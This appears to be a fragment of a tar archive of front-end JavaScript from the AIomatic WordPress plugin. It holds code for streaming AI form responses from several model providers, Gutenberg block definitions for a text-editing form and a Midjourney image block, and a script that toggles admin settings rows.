aiChatUploadDataomaticForm(aiomatic_completition_ajax_object, unid, input_text, remember_string, user_question, null); eventURL = mystream + '&pdf_data=' + encodeURIComponent(pdf_data) + '&user_token_cap_per_day=' + encodeURIComponent(user_token_cap_per_day) + '&user_id=' + encodeURIComponent(aiomatic_completition_ajax_object.user_id) + '&frequency=' + encodeURIComponent(frequency_penalty) + '&presence=' + encodeURIComponent(presence_penalty) + '&top_p=' + encodeURIComponent(top_p) + '&temp=' + encodeURIComponent(temperature) + '&model=' + encodeURIComponent(model) + '&assistant_id=' + encodeURIComponent(assistant_id) + '&thread_id=' + encodeURIComponent(ai_thread_id) + '&input_text=0' + '&remember_string=0' + '&user_question=0' + '&enable_god_mode=' + encodeURIComponent(enable_god_mode) + '&bufferid=' + encodeURIComponent(unid); if(vision_file != '') { eventURL += '&vision_file=' + encodeURIComponent(vision_file); } } eventGenerator = new EventSource(eventURL); var error_generated = ''; var func_call = { init_data: { pdf_data: pdf_data, user_token_cap_per_day: user_token_cap_per_day, user_id: aiomatic_completition_ajax_object.user_id, frequency: frequency_penalty, presence: presence_penalty, top_p: top_p, temp: temperature, model: model, input_text: input_text, remember_string: remember_string, user_question: user_question }, }; function handleContentBlockDelta(e) { var hasFinishReason = false; if(model_type == 'claude') { var aiomatic_newline_before = false; var aiomatic_response_events = 0; var aiomatic_limitLines = 1; var resultData = null; if(e.data == '[DONE]') { hasFinishReason = true; } else { try { resultData = JSON.parse(e.data); } catch (e) { console.warn(e); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">Failed to generate content, try again later.</div>'); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; } var hasFinishReason = resultData && (resultData.finish_reason === "stop" || resultData.finish_reason === "length"); if(resultData.stop_reason == 'stop_sequence' || resultData.stop_reason == 'max_tokens') { hasFinishReason = true; } } var content_generated = ''; if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } else { if(resultData !== null) { var result = resultData; } else { var result = null; try { result = JSON.parse(e.data); } catch (e) { console.warn(e); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">Failed to generate content, try again later.</div>'); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; }; } if(result.error !== undefined){ error_generated = result.error[0].message; if(error_generated === undefined) { error_generated = result.error.message; } if(error_generated === undefined) { error_generated = result.error; } jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); console.log('Error while processing request(1): ' + error_generated); } else { if(result.completion !== undefined) { content_generated = result.completion; } else if(result.delta.text !== undefined) { content_generated = result.delta.text; } else { console.log('Unrecognized format: ' + result); content_generated = ''; } } response_data += aiomatic_nl2br(content_generated); if((content_generated === '\n' || content_generated === ' \n' || content_generated === '.\n' || content_generated === '\n\n' || content_generated === '.\n\n' || content_generated === '"\n') && aiomatic_response_events > 0){ if(!aiomatic_newline_before) { aiomatic_newline_before = true; } } else if(content_generated === '\n' && aiomatic_response_events === 0){ } else{ aiomatic_newline_before = false; aiomatic_response_events += 1; aiomaticSetContent(dataId, response_data); } } if(count_line >= aiomatic_limitLines) { eventGenerator.close(); aiomatic_generator_working = false; jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); aiomaticRmLoading(aiomaticGenerateBtn); } } } if(assistant_id != '') { var run_id = ''; var func_calls = 0; var response_data = ''; var content_generated = ''; var th_id = ''; eventGenerator.addEventListener('thread.created', threadCreatedEventHandler); eventGenerator.addEventListener('thread.run.created', threadRunCreatedEventHandler); eventGenerator.addEventListener('thread.run.queued', threadRunQueuedEventHandler); eventGenerator.addEventListener('thread.run.in_progress', threadRunInProgressEventHandler); eventGenerator.addEventListener('thread.run.requires_action', threadRunRequiresActionEventHandler); eventGenerator.addEventListener('thread.run.completed', threadRunCompletedEventHandler); eventGenerator.addEventListener('thread.run.failed', threadRunFailedEventHandler); eventGenerator.addEventListener('thread.run.cancelling', threadRunCancellingEventHandler); eventGenerator.addEventListener('thread.run.cancelled', threadRunCancelledEventHandler); eventGenerator.addEventListener('thread.run.expired', threadRunExpiredEventHandler); eventGenerator.addEventListener('thread.run.step.created', threadRunStepCreatedEventHandler); eventGenerator.addEventListener('thread.run.step.in_progress', threadRunStepInProgressEventHandler); eventGenerator.addEventListener('thread.run.step.delta', threadRunStepDeltaEventHandler); eventGenerator.addEventListener('thread.run.step.completed', threadRunStepCompletedEventHandler); eventGenerator.addEventListener('thread.run.step.failed', threadRunStepFailedEventHandler); eventGenerator.addEventListener('thread.run.step.cancelled', threadRunStepCancelledEventHandler); eventGenerator.addEventListener('thread.run.step.expired', threadRunStepExpiredEventHandler); eventGenerator.addEventListener('thread.message.created', threadMessageCreatedEventHandler); eventGenerator.addEventListener('thread.message.in_progress', threadMessageInProgressEventHandler); eventGenerator.addEventListener('thread.message.delta', threadMessageDeltaEventHandler); eventGenerator.addEventListener('thread.message.incomplete', threadMessageIncompleteEventHandler); eventGenerator.addEventListener('thread.message.completed', threadMessageCompletedEventHandler); eventGenerator.addEventListener('error', function(e) { var data = JSON.parse(e.data); console.error('Stream Error:', data); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">Failed to generate content, try again later.</div>'); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; }); eventGenerator.addEventListener('done', function(e) { console.log('Stream ended'); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; }); } else { eventGenerator.onmessage = handleMessageEvent; eventGenerator.addEventListener('content_block_delta', handleContentBlockDelta); eventGenerator.addEventListener('message_stop', handleMessageStopEvent); eventGenerator.addEventListener('completion', handleCompletionEvent); } function handleMessageStopEvent(e) { aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; } function threadCreatedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Thread created:', data); } function threadRunCreatedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run created:', data); run_id = data.id; th_id = data.thread_id; } function threadRunQueuedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run queued:', data); } function threadRunInProgressEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run in_progress:', data); } function threadRunRequiresActionEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run requires_action:', data); } function threadRunCompletedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run completed:', data); eventGenerator.close(); aiomatic_generator_working = false; jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); aiomaticRmLoading(aiomaticGenerateBtn); } function threadRunCancellingEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run cancelling:', data); } function threadRunCancelledEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run cancelled:', data); } function threadRunExpiredEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run expired:', data); } function threadRunStepCreatedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step created:', data); } function threadRunStepInProgressEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step in progress:', data); } function threadRunStepDeltaEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step delta:', data); var xarr = {'tool_calls': []}; xarr.tool_calls.push(data.delta.step_details.tool_calls[0]); aiomatic_mergeDeep(func_call, xarr); func_calls++; } function threadRunStepCompletedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step completed:', data); } function threadRunStepCancelledEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step cancelled:', data); } function threadRunStepExpiredEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step expired:', data); } function threadMessageCreatedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run message created:', data); } function threadMessageInProgressEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run message in progress:', data); } function threadMessageDeltaEventHandler(e) { var data = JSON.parse(e.data); if(typeof data.delta.content[0].text.value !== 'undefined') { content_generated = data.delta.content[0].text.value; response_data += aiomatic_nl2br(content_generated); aiomaticSetContent(dataId, response_data); } else { console.log('Generated content not found: ' + data); } } function threadMessageIncompleteEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run message incomplete:', data); eventGenerator.close(); } function threadRunFailedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run failed:', data); console.warn(e); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; } function threadRunStepFailedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step failed:', data); console.warn(e); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; } function threadMessageCompletedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run message completed:', data); } function handleCompletionEvent(e) { if(model_type == 'claude') { var aiomatic_newline_before = false; var aiomatic_response_events = 0; var aiomatic_limitLines = 1; var resultData = null; var hasFinishReason = false; if(e.data == '[DONE]') { hasFinishReason = true; } else { try { resultData = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; } hasFinishReason = resultData && (resultData.finish_reason === "stop" || resultData.finish_reason === "length"); if(resultData.stop_reason == 'stop_sequence' || resultData.stop_reason == 'max_tokens') { hasFinishReason = true; } } var content_generated = ''; if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } else { if(resultData !== null) { var result = resultData; } else { var result = null; try { result = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; }; } if(result.error !== undefined){ error_generated = result.error[0].message; if(error_generated === undefined) { error_generated = result.error.message; } if(error_generated === undefined) { error_generated = result.error; } console.log('Error while processing request(1): ' + error_generated); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; } else { if(result.completion !== undefined) { content_generated = result.completion; } else if(result.content[0].text !== undefined) { content_generated = result.content[0].text; } else { content_generated = ''; } } response_data += aiomatic_nl2br(content_generated); if((content_generated === '\n' || content_generated === ' \n' || content_generated === '.\n' || content_generated === '\n\n' || content_generated === '.\n\n' || content_generated === '"\n') && aiomatic_response_events > 0){ if(!aiomatic_newline_before) { aiomatic_newline_before = true; } } else if(content_generated === '\n' && aiomatic_response_events === 0){ } else{ aiomatic_newline_before = false; aiomatic_response_events += 1; aiomaticSetContent(dataId, response_data); } } if(count_line >= aiomatic_limitLines) { eventGenerator.close(); aiomatic_generator_working = false; jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); aiomaticRmLoading(aiomaticGenerateBtn); } } } function handleMessageEvent(e) { var hasFinishReason = false; if(model_type != 'claude') { var aiomatic_newline_before = false; var aiomatic_response_events = 0; var aiomatic_limitLines = 1; var resultData = null; if(e.data == '[DONE]') { hasFinishReason = true; } else { if(model_type != 'google') { try { resultData = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; } hasFinishReason = resultData.choices && resultData.choices[0] && (resultData.choices[0].finish_reason === "stop" || resultData.choices[0].finish_reason === "length"); } } if(model_type != 'google') { var content_generated = ''; if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } else { var result = null; try { result = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; }; if(result.error !== undefined){ error_generated = result.error[0].message; if(error_generated === undefined) { error_generated = result.error.message; } if(error_generated === undefined) { error_generated = result.error; } console.log('Error while processing request(2): ' + error_generated); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; } else { if(model_type == 'huggingface') { if (result.generated_text) { var hasFinishReason = true; count_line += 1; aiomatic_response_events = 0; } else { content_generated = result.token.text; } } else { content_generated = result.choices[0].delta !== undefined ? (result.choices[0].delta.content !== undefined ? result.choices[0].delta.content : '') : result.choices[0].text; } } response_data += aiomatic_nl2br(content_generated); if((content_generated === '\n' || content_generated === ' \n' || content_generated === '.\n' || content_generated === '\n\n' || content_generated === '.\n\n' || content_generated === '"\n') && aiomatic_response_events > 0){ if(!aiomatic_newline_before) { aiomatic_newline_before = true; } } else if(content_generated === '\n' && aiomatic_response_events === 0){ } else if(response_data == '') { aiomatic_newline_before = false; aiomatic_response_events += 1; } else{ aiomatic_newline_before = false; aiomatic_response_events += 1; aiomaticSetContent(dataId, response_data); } } } else { if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } if(e.data == '[ERROR]') { error_generated = 'Failed to get form response!'; console.log('Error while processing request: ' + error_generated); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); count_line += 1; } else { if(e.data !== '[DONE]') { response_data += aiomatic_nl2br(e.data); aiomatic_response_events += 1; aiomaticSetContent(dataId, response_data); } } } if(count_line >= aiomatic_limitLines) { eventGenerator.close(); aiomatic_generator_working = false; jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); aiomaticRmLoading(aiomaticGenerateBtn); } } }; eventGenerator.onerror = handleErrorEvent; function handleErrorEvent(e) { console.log('Halting execution, EventGenerator error: ' + JSON.stringify(e)); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text" role="status">Failed to process response, please try again later.</div>'); aiomaticRmLoading(aiomaticGenerateBtn); aiomatic_generator_working = false; eventGenerator.close(); return; }; } else { jQuery.ajax({ type: 'POST', url: aiomatic_completition_ajax_object.ajax_url, data: { action: 'aiomatic_form_submit', input_text: prompt, nonce: aiomatic_completition_ajax_object.nonce, model: model, assistant_id: assistant_id, temp: temperature, top_p: top_p, presence: presence_penalty, aiomaticType: aiomaticType, frequency: frequency_penalty, user_token_cap_per_day: '', user_id: aiomatic_completition_ajax_object.user_id }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-response' + dataId).html('<div class="text-primary" role="status">AI considers this as the end of the text. Please try using a different text input.</div>'); } else { jQuery('#openai-response' + dataId).html(''); if(aiomaticType == 'text') { aiomaticSetContent(dataId, response.data); } else { if(aiomaticType == 'image' || aiomaticType == 'image-new' || aiomaticType == 'image-mid') { downloadButton.attr("href", aiomatichtmlDecode(response.data)); downloadButton.show(); jQuery("#aiomatic_form_response" + dataId).attr("src", aiomatichtmlDecode(response.data)).fadeIn(); } else { downloadButton.attr("href", "data:image/gif;base64," + aiomatichtmlDecode(response.data)); downloadButton.show(); jQuery("#aiomatic_form_response" + dataId).attr("src", "data:image/gif;base64," + aiomatichtmlDecode(response.data)).fadeIn(); } } } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); console.log('Error in processing: ' + response.msg); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); } else { console.log('Error: ' + response); jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); } } aiomaticRmLoading(aiomaticGenerateBtn); }, error: function(error) { console.log('Error: ' + error.responseText); jQuery("#aiomatic_form_response" + dataId).attr("src", '').fadeIn(); // Clear the response container jQuery('#openai-response' + dataId).html('<div class="text-primary highlight-text-fail" role="status">Failed to generate content, try again later.</div>'); aiomaticRmLoading(aiomaticGenerateBtn); }, }); } } }); });����������������������������������������������scripts/aiomatic-editing.js�������������������������������������������������������������������������0000644�����������������00000021075�14757771437�0012033 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; var editing_options = ''; if (Array.isArray(aiomatic_object.models)) { aiomatic_object.models.forEach(element => { editing_options += '<option value="' + element + '">' + element + '</option>'; }); } else if (typeof aiomatic_object.models === 'object' && aiomatic_object.models !== null) { Object.entries(aiomatic_object.models).forEach(([key, value]) => { editing_options += '<option value="' + key + '">' + value + '</option>'; }); } registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-editing', { title: 'AIomatic Text Editing Form', icon: 'text', category: 'embed', attributes: { temperature : { default: 'default', type: 'string', }, top_p : { default: 'default', type: 'string', }, model : { default: 'default', type: 'string', }, user_token_cap_per_day : { default: '', type: 'string', }, prompt_templates : { default: '', type: 'string', }, prompt_editable : { default: '', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var temperature = props.attributes.temperature; var top_p = props.attributes.top_p; var model = props.attributes.model; var user_token_cap_per_day = props.attributes.user_token_cap_per_day; var prompt_templates = props.attributes.prompt_templates; var prompt_editable = props.attributes.prompt_editable; function updateMessage( event ) { props.setAttributes( { temperature: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { top_p: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { model: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { user_token_cap_per_day: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { prompt_templates: event.target.value} ); } function updateMessage9( event ) { props.setAttributes( { prompt_editable: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Text Editing Form ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used for AI text editing.' ) ) ), gcel( 'br' ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Temperature: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.' ) ), gcel( 'input', { type:'number',min:0,step:0.1,placeholder:'AI Temperature', value: temperature, onChange: updateMessage, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Top_p: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.' ) ), gcel( 'input', { type:'number', min:0,max:1,step:0.1,placeholder:'AI Top_p', value: top_p, onChange: updateMessage3, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Model: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the AI model you want to use to generate the content.' ) ), gcel( 'select', { value: model, onChange: updateMessage4, className: 'coderevolution_gutenberg_select', dangerouslySetInnerHTML: { __html: editing_options } } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Daily Token Count for Logged In Users: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Daily token count for users', value: user_token_cap_per_day, onChange: updateMessage6, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Templates (Semicolon Separated): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one.' ) ), gcel( 'input', { type:'text',placeholder:'Template1;Template2;Template3', value: prompt_templates, onChange: updateMessage8, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Editable: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select wheather the prompt will be editable by users. This is useful when combined with prompt templates from above, when you don\'t want the users to edit the entered template.' ) ), gcel( 'select', { value: prompt_editable, onChange: updateMessage9, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'yes'}, 'yes' ), gcel( 'option', { value: 'no'}, 'no' ) ), ); }), save: (function( props ) { return null; }), } );�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/header.js�����������������������������������������������������������������������������������0000644�����������������00000000020�14757771437�0010037 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict";����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-midjourney-image.js����������������������������������������������������������������0000644�����������������00000015221�14757771437�0013651 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-midjourney-image', { title: 'AIomatic Midjourney Image', icon: 'text', category: 'embed', attributes: { seed_expre : { default: '', type: 'string', }, image_size : { default: '512x512', type: 'string', }, copy_locally : { default: 'off', type: 'string', }, cache_seconds : { default: '2592000', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var seed_expre = props.attributes.seed_expre; var image_size = props.attributes.image_size; var cache_seconds = props.attributes.cache_seconds; var copy_locally = props.attributes.copy_locally; function updateMessage2( event ) { props.setAttributes( { seed_expre: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { image_size: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { cache_seconds: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { copy_locally: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Midjourney Image ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate images.' ) ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Seed Expression: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set a seed expression for the image. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it\'s assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command. If you leave this blank, the plugin will automatically use the content, excerpt or title of the post where this block is added.' ) ), gcel( 'textarea', { rows:1,placeholder:'Short introduction of the image', value: seed_expre, onChange: updateMessage2, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the generated image size.' ) ), gcel( 'select', { value: image_size, onChange: updateMessage3, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: '512x512'}, '512x512' ), gcel( 'option', { value: '1024x1024'}, '1024x1024' ), gcel( 'option', { value: '1024x1792'}, '1024x1792' ), gcel( 'option', { value: '1792x1024'}, '1792x1024' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Copy Locally: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Do you want to copy the image locally?' ) ), gcel( 'select', { value: copy_locally, onChange: updateMessage5, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Caching Period For AI Generated Content (Seconds): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the caching period for AI generated content in seconds.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Caching period in seconds', value: cache_seconds, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ) ); }), save: (function( props ) { return null; }), } );�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/modeselect.js�������������������������������������������������������������������������������0000644�����������������00000012175�14757771437�0010751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var modeselect = document.getElementById("posting_mode"); if(modeselect != null) { var pvalue = modeselect.value; if(pvalue == 'title') { document.querySelectorAll('.hidetitle').forEach(function(el) { el.style.display = 'table-row'; }); document.querySelectorAll('.hidetopic').forEach(function(el) { el.style.display = 'none'; }); } else if(pvalue == 'topic') { document.querySelectorAll('.hidetitle').forEach(function(el) { el.style.display = 'none'; }); document.querySelectorAll('.hidetopic').forEach(function(el) { el.style.display = 'table-row'; }); } modeselect.onchange = function(evt) { var value = evt.target.value; if(value == 'title') { document.querySelectorAll('.hidetitle').forEach(function(el) { el.style.display = 'table-row'; }); document.querySelectorAll('.hidetopic').forEach(function(el) { el.style.display = 'none'; }); } else if(value == 'topic') { document.querySelectorAll('.hidetitle').forEach(function(el) { el.style.display = 'none'; }); document.querySelectorAll('.hidetopic').forEach(function(el) { el.style.display = 'table-row'; }); } } } jQuery('#ai-toggle-video').on('click', function() { jQuery(this).text(function(i, text){ return text === varsx.showme ? varsx.hideme : varsx.showme; }) jQuery('#ai-video-container').slideToggle(); }); function hideTOC(number) { if(jQuery('#single_content_call' + number).is(":checked")) { jQuery('.hideTOC' + number).hide(); } else { jQuery('.hideTOC' + number).show(); } } function hideImage(number) { if(jQuery('#enable_ai_images' + number).val() == '1' || jQuery('#enable_ai_images' + number).val() == '2') { jQuery('.hideImg' + number).show(); } else { jQuery('.hideImg' + number).hide(); } if(jQuery('#enable_ai_images' + number).val() == '1') { jQuery('.hideDalle' + number).show(); } else { jQuery('.hideDalle' + number).hide(); } } function hideLinks(number) { if(jQuery('#link_type' + number).val() == 'internal' || jQuery('#link_type' + number).val() == 'disabled') { jQuery('.hidelinks' + number).hide(); } else { jQuery('.hidelinks' + number).show(); } } jQuery(document).ready(function () { hideLinks(''); }); function createModeSelect(i) { if(jQuery('#single_content_call' + i).is(":checked")) { jQuery('.hideTOC' + i).hide(); } else { jQuery('.hideTOC' + i).show(); } if(jQuery('#enable_ai_images' + i).val() == '1' || jQuery('#enable_ai_images' + i).val() == '2') { jQuery('.hideImg' + i).show(); } else { jQuery('.hideImg' + i).hide(); } if(jQuery('#enable_ai_images' + i).val() == '1') { jQuery('.hideDalle' + i).show(); } else { jQuery('.hideDalle' + i).hide(); } var modeselect = document.getElementById("posting_mode" + i); if(modeselect !== null) { var pvalue = modeselect.value; if(pvalue !== undefined && pvalue !== null) { if(pvalue == 'title') { document.querySelectorAll('.hidetitle' + i).forEach(function(el) { el.style.display = 'table-row'; }); document.querySelectorAll('.hidetopic' + i).forEach(function(el) { el.style.display = 'none'; }); } else if(pvalue == 'topic') { document.querySelectorAll('.hidetitle' + i).forEach(function(el) { el.style.display = 'none'; }); document.querySelectorAll('.hidetopic' + i).forEach(function(el) { el.style.display = 'table-row'; }); } } } if(modeselect != null) { modeselect.onchange = function(evt) { var value = evt.target.value; if(value == 'title') { document.querySelectorAll('.hidetitle' + i).forEach(function(el) { el.style.display = 'table-row'; }); document.querySelectorAll('.hidetopic' + i).forEach(function(el) { el.style.display = 'none'; }); } else if(value == 'topic') { document.querySelectorAll('.hidetitle' + i).forEach(function(el) { el.style.display = 'none'; }); document.querySelectorAll('.hidetopic' + i).forEach(function(el) { el.style.display = 'table-row'; }); } } } 